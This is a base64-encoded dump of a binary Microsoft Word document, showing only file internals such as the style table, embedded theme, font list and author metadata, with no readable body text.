BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAAaAEAAEgBAAA2BgAANgYAADYGAAA2BgAANgYAADYG AAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYA ADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAA NgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2 BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYG AAA2BgAANgYAALADAAA2BgAAMgYAABgAAADAAwAA0AMAAOADAADwAwAAAAQAABAEAAAgBAAAMAQA AEAEAABQBAAAYAQAAHAEAACABAAAkAQAAMADAADQAwAA4AMAAPADAAAABAAAEAQAADIGAAAoAgAA 2AEAAOgBAAAgBAAAMAQAAEAEAABQBAAAYAQAAHAEAACABAAAkAQAAMADAADQAwAA4AMAAPADAAAA BAAAEAQAACAEAAAwBAAAQAQAAFAEAABgBAAAcAQAAIAEAACQBAAAwAMAANADAADgAwAA8AMAAAAE AAAQBAAAIAQAADAEAABABAAAUAQAAGAEAABwBAAAgAQAAJAEAADAAwAA0AMAAOADAADwAwAAAAQA ABAEAAAgBAAAMAQAAEAEAABQBAAAYAQAAHAEAACABAAAkAQAAMADAADQAwAA4AMAAPADAAAABAAA EAQAACAEAAAwBAAAQAQAAFAEAABgBAAAcAQAAIAEAACQBAAAwAMAANADAADgAwAA8AMAAAAEAAAQ BAAAIAQAADAEAABABAAAUAQAAGAEAABwBAAAgAQAAJAEAAA4AQAAWAEAAPgBAAAIAgAAGAIAAFYC AAB+AgAAIAAAAE9KAwBQSgMAUUoDAF9IAQRtSAkEbkgJBHNICQR0SAkEAAAAAEoAAGDx/wIASgAM EAAAe3+IAAAABgBOAG8AcgBtAGEAbAAAAAwAAAASZBQBAQAUpMgAGABDShYAX0gBBGFKFgBtSAkE c0gJBHRICQQAAAAAAAAAAAAAAAAAAAAAAABEAEFg8v+hAEQADA0AAAAAAAAQABYARABlAGYAYQB1 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 eZYWgwAAAIoAAAAcAAAAAAAAAAAAAAAAABQCAAB0aGVtZS90aGVtZS90aGVtZU1hbmFnZXIueG1s UEsBAi0AFAAGAAgAAAAhAJa1reKWBgAAUBsAABYAAAAAAAAAAAAAAAAA0QIAAHRoZW1lL3RoZW1l L3RoZW1lMS54bWxQSwECLQAUAAYACAAAACEADdGQn7YAAAAbAQAAJwAAAAAAAAAAAAAAAACbCQAA dGhlbWUvdGhlbWUvX3JlbHMvdGhlbWVNYW5hZ2VyLnhtbC5yZWxzUEsFBgAAAAAFAAUAXQEAAJYK AAAAADw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IlVURi04IiBzdGFuZGFsb25lPSJ5ZXMi Pz4NCjxhOmNsck1hcCB4bWxuczphPSJodHRwOi8vc2NoZW1hcy5vcGVueG1sZm9ybWF0cy5vcmcv ZHJhd2luZ21sLzIwMDYvbWFpbiIgYmcxPSJsdDEiIHR4MT0iZGsxIiBiZzI9Imx0MiIgdHgyPSJk azIiIGFjY2VudDE9ImFjY2VudDEiIGFjY2VudDI9ImFjY2VudDIiIGFjY2VudDM9ImFjY2VudDMi IGFjY2VudDQ9ImFjY2VudDQiIGFjY2VudDU9ImFjY2VudDUiIGFjY2VudDY9ImFjY2VudDYiIGhs aW5rPSJobGluayIgZm9sSGxpbms9ImZvbEhsaW5rIi8+AAAAAAEGAAAMAAAgAAAIAP////8AAAAA AwAAAAYAAAAGAAAACQAAAAwAAAAMAAAADAAAAAwAAAAMAAAADAAAAAwAAAAMAAAADwAAAAAIAACl CAAAwQkAAJQLAAApDQAAdA0AAAEOAAAIAAAACgAAAAsAAAAMAAAADQAAAA4AAAAACAAA8w0AAAEO AAAJAAAADwAAAA8AAPBMAAAAAAAG8BgAAAACCAAAAgAAAAEAAAABAAAAAQAAAAIAAAAjAAvwDAAA AIZBAAAAAMVBAAAAAEAAHvEQAAAA//8AAAAA/wCAgIAA9wAAEAAPAALwkgAAABAACPAIAAAAAQAA AAEEAAAPAAPwMAAAAA8ABPAoAAAAAQAJ8BAAAAAAAAAAAAAAAAAAAAAAAAAAAgAK8AgAAAAABAAA BQAAAA8ABPBCAAAAEgAK8AgAAAABBAAAAA4AAFMAC/AeAAAAvwEAABAAywEAAAAA/wEAAAgABAMJ AAAAPwMBAAEAAAAR8AQAAAABAAAAAAAAAAEAAAALAAAAEQAAAB4AAAAmAAAAMQAAADkAAAAzBQAA WQUAAPMFAADzBQAA9QUAAPUFAAD2BQAA9gUAAPgFAAD5BQAA+wUAAPwFAAD+BQAA/wUAAAIGAAAE AAcAHAAHABwABwAcAAcABAAHAAQABwAEAAIABAAHAAQABwAEAAcABAACAAAAAAABAAAAowMAAKQD AAAMBQAADQUAACwFAABnBQAA8wUAAPMFAAD1BQAA9QUAAPYFAAD2BQAA+AUAAPkFAAD7BQAA/AUA AP4FAAD/BQAAAgYAAAQABwAzAAcAMwAHAAQABwAEAAcABAACAAQABwAEAAcABAAHAAQAAgAAAAAA AQAAANUEAADVBAAAMwUAAFkFAADyBQAAAgYAAAQAAwAEAAMABAADAAcABwATB1sGIAnmKQAAAAAA AP0/dw0AAAAAAAAAAAABAgACACAJ5imcGaksAAAAAAAAnBmpLP0/dw0AAAAAAAAYX+ZBAAAAAAAA AAAAAQIAAgCqYuNeIAnmKQAAAAAAAP1ybWQgCeYpAAAAAAAANQAAAAQAAAAIAAAA5QAAAAAAAAAD AAAAOXcAAMILAQAsRwwAOiQOAEgjFwDrbBoANzMbAM0JHgDGYx8A+Do2AEoYOADPHzgAXCU6AJwj QgBIAkQAEk5GAEQcRwBJZ00AMltVANtaVgAgZlgAuxZeAOt0aQBBdWkAYXlpAHpDbQA3bXQARkt8 AKoaggBJMIQAe3+IAGgvjQCmHJIArnOZAEAImwA9DpsADm6mAKVxpgAOYrQAFhC9AJRxvQCSBsYA 4iLJAOIqzwAIU9AASFXTACBL1wAJI9sADHzcAMkx3QCSJ+kA8BvzAFFC/QAAAAAA8wUAAPUFAAAA AAAAAQAAAP9AAYABAFkFAABZBQAAAACxAwEAAQBZBQAAAAAAAFkFAAAAAAAAAhAAAAAAAAAAAQYA AGAAABAAQAAA//8BAAAABwBVAG4AawBuAG8AdwBuAP//AQAIAAAAAAAAAAAAAAD//wEAAAAAAP// AAACAP//AAAAAP//AAACAP//AAAAAAYAAABHHpABAAACAgYDBQQFAgME/yoA4EF4AMAJAAAAAAAA AP8BAAAAAAAAVABpAG0AZQBzACAATgBlAHcAIABSAG8AbQBhAG4AAAA1HpABAgAFBQECAQcGAgUH AAAAAAAAABAAAAAAAAAAAAAAAIAAAAAAUwB5AG0AYgBvAGwAAAAzLpABAAACCwYEAgICAgIE/yoA 4EN4AMAJAAAAAAAAAP8BAAAAAAAAQQByAGkAYQBsAAAANy6QAQAAAg8FAgICBAMCBP8CAOH/rABA CQAAAAAAAACfAQAAAAAAAEMAYQBsAGkAYgByAGkAAAA1IpABAAACCwYEAwUEBAIEAwAAAAAAAAAA AAAAAAAAAAEAAAAAAAAAVABhAGgAbwBtAGEAAABBEpABAQACBAUDBQQGAwIEAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAQwBhAG0AYgByAGkAYQAgAE0AYQB0AGgAAAAiAAQAMQiIGADw0ALkBGgBAAAA ABqtGccarRnHAAAAAAIAAQAAAOMAAAAQBQAAAQADAAAABAADkAoAAADjAAAAEAUAAAEAAwAAAAoA AAAAAAAAIQMA8BAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAVoAbQAtACBgRIwAAAQABkA ZAAAABkAAADwBQAA8AUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAMoMRAPAQAAgA/P0BAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAACEhQAAAAAAnw/w8ACSRQAADkBAAA////f////3////9/////f////3////9///// f5IGxgAABAAAMgAAAAAAAAAAAAAAAAAAAAAAAAAAACEEAAAAAAAAAAAAAAAAAAAAAAAAEBwAAAUA AAAAAAAAAAB4AAAAeAAAAAAAAAAAAAAAoAUAAP//EgAAAAAAAAAAAAAAAAAAAAMAWgBFAEUAAwBW AGkAYwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD+/wAABgECAAAAAAAAAAAAAAAA AAAAAAABAAAA4IWf8vlPaBCrkQgAKyez2TAAAAAQAQAADQAAAAEAAABwAAAABAAAAHgAAAAHAAAA hAAAAAgAAACUAAAACQAAAKAAAAASAAAArAAAAAoAAADMAAAADAAAANgAAAANAAAA5AAAAA4AAADw AAAADwAAAPgAAAAQAAAAAAEAABMAAAAIAQAAAgAAAOQEAAAeAAAABAAAAFpFRQAeAAAACAAAAE5v cm1hbAAAHgAAAAQAAABWaWMAHgAAAAQAAAAyAAAAHgAAABgAAABNaWNyb3NvZnQgT2ZmaWNlIFdv cmQAAABAAAAAAEbDIwAAAABAAAAAAKx0Bfi2zgFAAAAAAKx0Bfi2zgEDAAAAAQAAAAMAAADjAAAA AwAAABAFAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 